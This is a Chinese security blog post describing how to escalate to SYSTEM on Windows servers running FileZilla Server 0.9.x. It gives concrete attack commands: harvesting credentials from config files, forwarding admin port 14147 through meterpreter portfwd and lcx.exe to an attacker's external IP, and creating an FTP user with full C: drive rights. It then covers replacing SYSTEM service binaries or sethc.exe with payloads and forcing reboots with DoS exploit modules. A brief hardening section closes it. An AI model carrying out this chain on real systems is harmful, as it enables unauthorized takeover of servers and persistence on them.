FileZilla Server提权与常见问题

本文涉及的产品
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
RDS MySQL Serverless 高可用系列,价值2615元额度,1个月
云数据库 RDS MySQL,高可用系列 2核4GB
简介: FileZilla Server提权与常见问题

0x01 前言

FileZilla是一款非常流行的免费、开源FTP软件,分为客户端FileZilla Client和服务器端FileZilla Server两个版本,具备所有FTP软件功能。可控性、有条理的界面和管理多站点的简化方式使得FileZilla Client成为一个方便高效的FTP客户端工具,而FileZilla Server则是一个小巧且支持FTP、FTPS、SFTP等文件传输协议的FTP服务器软件,官方网站:https://filezilla-project.org/


本地测试环境信息:

    操作系统:Windows Server 2003 x86 & Windows Server 2008 R2 x64
    软件版本:FileZilla_Server-0_9_44.exe、FileZilla_3.6.0.2_win32.exe
    默认安装路径:C:\Program Files (x86)\FileZilla Server\
    FileZilla Server进程:FileZilla Server.exe、FileZilla Server Interface.exe
    FileZilla Server服务:FileZilla Server
    FileZilla Server端口:21、14147


    0x02 信息搜集

    (1) 前期信息搜集时我们可以先尝试用Nmap等端口扫描工具进行简单的扫描,这样能够得到目标机器使用的FileZilla软件版本等信息。


    (2) 首先利用tasklist /svc命令查看FileZilla相关进程、服务名以及进程PID值。

    然后用netstat -ano命令查看PID值为1204的运行端口号是不是默认的14147。

    最后再用sc qc "FileZilla Server"命令查看FileZilla Server服务相关配置信息。


    (3) 也可以直接使用Metasploit下的filezilla_server模块来查找FileZilla Server软件的安装路径、配置文件以及FTP用户凭证、磁盘权限等信息。

      windows/gather/credentials/filezilla_server


      FileZilla Server Interface.xml配置文件里存放着FileZilla Server服务端在连接时的登录信息,如下表。

        <FileZillaServer>
          <Settings>
            <Item name="Last Server Address" type="string">127.0.0.1</Item>     //连接IP地址
            <Item name="Last Server Port" type="numeric">14147</Item>           //连接端口号
            <Item name="Last Server Password" type="string">90sec!@#123</Item>  //连接密码
            <Item name="Always use last server" type="numeric">0</Item>
          </Settings>
        </FileZillaServer>

        FileZilla Server.xml配置文件里存放着FTP用户信息,包括用户、密码、管理目录和权限等,如下表。

        <FileZillaServer>
          <Settings>
                <Item name="Admin port" type="numeric">14147</Item>
          </Settings>
          <Groups />
          <Users>
             <User Name="3had0w">    //FTP用户
               <Option Name="Pass">e10adc3949ba59abbe56e057f20f883e</Option>  //FTP密码
               <Option Name="Group"></Option>
               <Option Name="Bypass server userlimit">0</Option>
               <Option Name="User Limit">0</Option>
               <Option Name="IP Limit">0</Option>
               <Option Name="Enabled">1</Option>
               <Option Name="Comments"></Option>
               <Option Name="ForceSsl">0</Option>
               <Option Name="8plus3">0</Option>
               <IpFilter>
                    <Disallowed />
                    <Allowed />
               </IpFilter>
                    <Permissions>
                        <Permission Dir="C:">        //管理目录为C盘,权限1=有,0=没有
                            <Option Name="FileRead">1</Option>       //有文件读取权限
                            <Option Name="FileWrite">1</Option>      //有文件写入权限
                            <Option Name="FileDelete">1</Option>     //有文件删除权限
                            <Option Name="FileAppend">1</Option>     //有文件追加权限
                            <Option Name="DirCreate">1</Option>      //有创建目录权限
                            <Option Name="DirDelete">1</Option>      //有删除目录权限
                            <Option Name="DirList">1</Option>        //有列出目录权限
                            <Option Name="DirSubdirs">1</Option>     //有加子目录权限
                            <Option Name="IsHome">1</Option>
                            <Option Name="AutoCreate">0</Option>
                        </Permission>
                    </Permissions>
                    <SpeedLimits DlType="0" DlLimit="10" ServerDlLimitBypass="0" UlType="0" UlLimit="10" ServerUlLimitBypass="0">
                        <Download />
                        <Upload />
                    </SpeedLimits>
             </User>
          </Users>
        </FileZillaServer>


        注:这两个配置文件在安装时默认只给了users组的读取/执行权限,所以在Webshell下没有权限对这两个文件进行修改和删除,但我们在本地机器上连接目标服务器的14147端口后(SYSTEM),如果成功创建、修改、删除用户时配置文件也会随之更新。


        0x03 提权过程

        (1) 将目标机器上的C:\Program Files (x86)\FileZilla Server\整个文件夹打包下载到我们本地,然后在Meterpreter会话中用portfwd命令将目标机器运行的Filezilla Server软件管理端口14147给转发到我们Kali机器的12345端口。

          meterpreter > portfwd add -r 127.0.0.1 -p 14147 -l 12345


          (2) 这里因为我们已经将目标机器的14147端口转发到了Kali机器12345端口了,所以在本地机器上运行Filezilla Server软件时填写的是Kali机器的IP地址和端口,否则可能连接不上。


          (3) 我们连接上Filezilla Server软件后就可以创建FTP用户名和密码了,这里笔者创建了一个具有C盘权限的FTP用户,并给予了文件的读取/写入/删除/追加,目录的列出/创建/删除等权限。

          (4) 提权思路在后边会有一个简单总结,这里笔者就先以“替换系统服务”进行举例。在我们成功创建FTP用户后先不着急去FTP客户端连接,先在“中国菜刀”的命令行中执行以下命令找一个以SYSTEM权限运行,启动方式为Auto的服务,或用sc qc MySQLa命令查看。

            wmic service get Name,State,PathName,StartMode,StartName | findstr /i "Auto" | findstr /i "LocalSystem" | findstr /i "Running"


            (5) FTP客户端里替换我们刚找到的C:\phpStudy\MySQL\bin\mysqld.exe文件为我们的攻击载荷文件,然后通过某些蓝屏重启EXP或者等待服务器管理员重启服务器,从而达到权限提升目的,Metasploit下的蓝屏重启模块有以下几个。

              MS12-020 - CVE-2012-0002 - KB2621440  -(auxiliary/dos/windows/rdp/ms12_020_maxchannelids)
              MS15-034 - CVE-2015-1635 - KB3042553  -(auxiliary/dos/http/ms15_034_ulonglongadd)
              CVE-2018-8897  -(exploit/windows/local/mov_ss)
              [...SNIP...]

              注:如果经常遇到获取Meterpreter会话后自动断开的情况,可以尝试在监听模块设置下自动运行进程迁移脚本的参数可能就好了。

                set AutoRunScript post/windows/manage/migrate NAME=notepad.exe


                0x04 思路总结

                  1、LPK.DLL劫持,将lpk.dll上传至可执行文件目录下。(2003,不用重启!)
                  2、替换系统程序,C:\Windows\System32\sethc.exe。(2003,不用重启!)
                  3、替换系统服务,找启动方式为Auto(自动)服务,替换对应程序。(2008,需要重启!)
                  4、篡改快捷方式,如:phpStudy.lnk,C:\phpStudy\phpStudy.exe。(需要管理员打开快捷方式!)
                  5、上传启动目录,C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup(2008,需要重启并登录!)


                  0x05 常见问题

                  本地机器监听51端口,连接用14147端口,实战中如果本地属内网环境需要先在路由器将51端口映射出来,然后执行监听,成功接收到返回数据后再连接Filezilla Server。

                    本地机器:
                    C:\>lcx.exe -listen 51 14147
                    目标机器:
                    /c C:\aspSmartUpload\lcx.exe -slave {攻击者外网IP} 51 127.0.0.1 14147


                    lcx转发了FileZilla Server的14147端口后还是连接不上,返回右上图这样的报错,Google翻译报错信息得知:协议错误:未通过身份验证,关闭连接,连接到服务器关闭。使用netstat -ano命令查看当前网络连接状态如下。

                      TCP       9*.1*9.4.1*3:139        0.0.0.0:0               LISTENING         4
                      TCP       9*.1*9.4.1*3:54133      1*3.2*1.*7.1*8:51       ESTABLISHED     2028
                      TCP       127.0.0.1:53            0.0.0.0:0               LISTENING       1040
                      TCP       127.0.0.1:14147         0.0.0.0:0               LISTENING       1088
                      TCP       127.0.0.1:14147         127.0.0.1:49160         ESTABLISHED     1088
                      TCP       127.0.0.1:49160         127.0.0.1:14147         ESTABLISHED     5736


                      问题描述1:

                      可以通过lcx.exe工具将FileZilla Server的14147端口转发出来,但是返回数据中出错了,最终导致连接不上FileZilla Server。

                      解决办法1:

                      Meterpreter会话中使用portfwd命令进行转发,然后即可连接上目标的FileZilla Server。

                      问题描述2:

                      连接上FileZilla Server并成功添加一个具备C盘权限的FTP用户,但在连接时仍然报错。

                        CMD命令行和FlashFXP连接报错:
                        421 Server is locked, please try again later.

                        640.png

                        解决办法2:

                        在FileZilla Server软件界面中找到一个“锁”图标,只需点击一下解锁即可连接FTP了


                        640.png

                        0x06 新版变更

                        (1) 运行FileZilla Server 0.9.60_2前必须安装KB2533623补丁,否则可能出现以下报错。

                        (2) 这个版本中删除了FileZilla Server Interface.xml,而且对FileZilla Server.xml存储的FTP密码的加密方式也进行了变更,加了SALT,无法直接通过解密Md5密文得到FTP的明文密码,但是仍然可以通过转发14147端口连接FileZilla Server并修改FTP密码和权限,这个方法不到万不得已并不建议使用。

                        0x07 注意事项

                        1. 在实际渗透测试过程中请注意备份要替换的文件,方便我们能够快速恢复到原始状态。
                        2. 本地机器连接上FileZilla Server后关闭Eidt->Settings->Logging、SSL/TLS、Autoban选项。
                        3. 自己安装的FileZilla Server可能会因为与目标版本不一致而出现“版本不同,协议错误”等问题。
                        4. FileZilla Server>=0.9.44不再支持XP、2003,如需在低版本操作系统上测试时请选择<=0.9.43。
                        5. FTP分为主动和被动连接,Filezilla的21端口不能被转发出来,21端口转发出来后被动连接就会变成主动连接,而Filezilla是不支持主动连接的,就会发生积极拒绝的情况:“504 MODE Z not enabled”或者“数据socket错误:连接已拒绝”。
                        6. 2008及以上系统的权限配置上要比2003严格的多,所以不能对System32目录下的文件进行修改/删除/重命名等操作,也就是不能用“替换系统程序”进行提权,用“替换系统服务”进行提权时建议找第三方服务,如:Apache2a、MySQLa等。在进入系统后替换的服务会处于停止状态,需要恢复替换文件并重启这个服务。


                        0x08 加固方案

                        1. 新建一个FileZilla用户(Users组),用这个用户来运行“FileZilla Server”服务。
                        2. 删除“FileZilla Server”安装目录Users组所有权限,添加FileZilla用户所有权限。
                        3. FileZilla Server管理密码和FTP密码尽可能的设置复杂一些(字母+数字+特殊字符)。
                        4. 启动日志记录(默认关闭),Edit->Settings->Logging->Enable logging to file、Use a different logfile each day。


                        0x09 参考链接

                        相关实践学习
                        每个IT人都想学的“Web应用上云经典架构”实战
                        本实验从Web应用上云这个最基本的、最普遍的需求出发,帮助IT从业者们通过“阿里云Web应用上云解决方案”,了解一个企业级Web应用上云的常见架构,了解如何构建一个高可用、可扩展的企业级应用架构。
                        MySQL数据库入门学习
                        本课程通过最流行的开源数据库MySQL带你了解数据库的世界。 &nbsp; 相关的阿里云产品:云数据库RDS MySQL 版 阿里云关系型数据库RDS(Relational Database Service)是一种稳定可靠、可弹性伸缩的在线数据库服务,提供容灾、备份、恢复、迁移等方面的全套解决方案,彻底解决数据库运维的烦恼。 了解产品详情:&nbsp;https://www.aliyun.com/product/rds/mysql&nbsp;
                        相关文章
                        Cesium开发:模型实体高亮
                        Cesium开发:模型实体高亮
                        959 0
                        |
                        存储 SQL 缓存
                        Hadoop入门(一篇就够了)
                        Hadoop入门(一篇就够了)
                        29328 4
                        Hadoop入门(一篇就够了)
                        |
                        11月前
                        |
                        弹性计算 运维 对象存储
                        如何把阿里云ECS里的文件下载到本地(免登录免配置)
                        阿里云推出新功能,无需安装额外工具、不需ECS开通公网或登录ECS,仅通过控制台即可将ECS中的文件轻松下载至本地。只需开通OSS对象存储服务,按步骤创建任务,获取临时下载链接,即可在浏览器中直接下载文件。操作简便快捷,适合频繁需要从ECS下载文件的用户。
                        |
                        存储 安全 Android开发
                        F-Droid:尊重自由与隐私的安卓应用商店
                        F-Droid 是安卓平台上的自由开源应用商店,专为关注隐私和数据安全的用户设计。本文详细介绍了 F-Droid 的特点,包括其对自由和隐私的重视、无广告和无追踪代码的承诺、强大的应用搜索与管理功能,以及对开源社区的支持。用户可以通过 F-Droid 安全地浏览、安装和管理应用程序,并且开发者也可以发布开源应用。未来,F-Droid 将继续提升用户体验,鼓励更多的开发者与用户参与其中,推动自由开源软件的发展。
                        1153 1
                        |
                        存储 C语言 索引
                        Python 语法及入门 (超全超详细) 专为Python零基础 一篇博客让你完全掌握Python语法
                        本文全面介绍了Python的基础知识,包括Python的诞生背景、为什么学习Python、Python的应用场景、Python环境的安装、Python的基础语法、数据类型、控制流、函数以及数据容器的使用方法,旨在为Python零基础读者提供一篇全面掌握Python语法的博客。
                        3703 1
                        Python 语法及入门 (超全超详细) 专为Python零基础 一篇博客让你完全掌握Python语法
                        |
                        消息中间件 NoSQL Kafka
                        订单超时取消的11种方式(非常详细清楚)
                        订单超时取消的11种方式(非常详细清楚)
                        7864 4
                        订单超时取消的11种方式(非常详细清楚)
                        |
                        开发者 人工智能 自然语言处理
                        欢迎使用通义灵码
                        灵码使用指南!一键收藏。
                        138699 31
                        |
                        数据库 数据安全/隐私保护 Windows
                        Windows远程桌面出现CredSSP加密数据修正问题解决方案
                        【10月更文挑战第30天】本文介绍了两种解决Windows系统凭据分配问题的方法。方案一是通过组策略编辑器(gpedit.msc)启用“加密数据库修正”并将其保护级别设为“易受攻击”。方案二是通过注册表编辑器(regedit)在指定路径下创建或修改名为“AllowEncryptionOracle”的DWORD值,并将其数值设为2。
                        9674 3
                        |
                        数据安全/隐私保护 Python
                        python学习十一:python常用模块使用,如 加密模块pyarmor,时间模块time等
                        这篇文章介绍了Python中两个常用模块的使用:加密模块pyarmor用于保护代码,以及时间模块time用于处理时间相关的功能。
                        554 0
                        |
                        机器学习/深度学习 存储 自动驾驶
                        基于YOLOv8深度学习的高精度车辆行人检测与计数系统【python源码+Pyqt5界面+数据集+训练代码】目标检测、深度学习实战
                        基于YOLOv8深度学习的高精度车辆行人检测与计数系统【python源码+Pyqt5界面+数据集+训练代码】目标检测、深度学习实战